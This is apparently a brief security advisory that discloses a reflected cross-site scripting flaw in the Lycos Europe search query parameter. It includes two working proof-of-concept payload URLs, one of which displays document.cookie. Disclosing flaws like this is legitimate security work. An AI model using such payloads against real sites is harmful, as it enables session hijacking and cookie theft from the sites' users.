Vulnerability:

----------------------------------------------

I found a bug in the search-engine of Lycos Europe("http://search.lycos.com").

It is vulnerable for cross site scripting.

Sending a malicious code will result a code working on the page that pops up...

/?loc=searchbox&tab=web&adf=Off&query=[XSS CODE HERE]

This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Examples:

----------------------------------------------

/?loc=searchbox&tab=web&adf=Off&query=<script>alert("MajorSecurity")</sc
ript>

/?loc=searchbox&tab=web&adf=Off&query=%3Cscript%3Ealert(document.cookie)
%3C/script%3E
